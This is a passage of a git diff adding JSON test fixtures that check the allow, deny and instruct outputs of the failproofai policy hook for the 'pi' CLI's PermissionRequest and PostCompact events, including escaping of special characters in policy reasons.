"/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PermissionRequest/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..11bb9aad --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PermissionRequest/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..29f7a5ac --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PermissionRequest/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..261d58d8 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PermissionRequest/deny__tool-present__one-policy.json new file mode 100644 index 00000000..41ad158a --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PermissionRequest/deny__tool-present__two-policies.json new file mode 100644 index 00000000..81a64ee9 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PermissionRequest/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..880e3b9c --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PermissionRequest/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..444ad76f --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PermissionRequest/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..a4149094 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PermissionRequest/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..b6500b7b --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..9ed3ca93 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..0830beac --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..974b412a --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..0d32cf69 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..a0d75aca --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..076ced63 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..1b0ba445 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..302ca053 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..18aad6a7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} 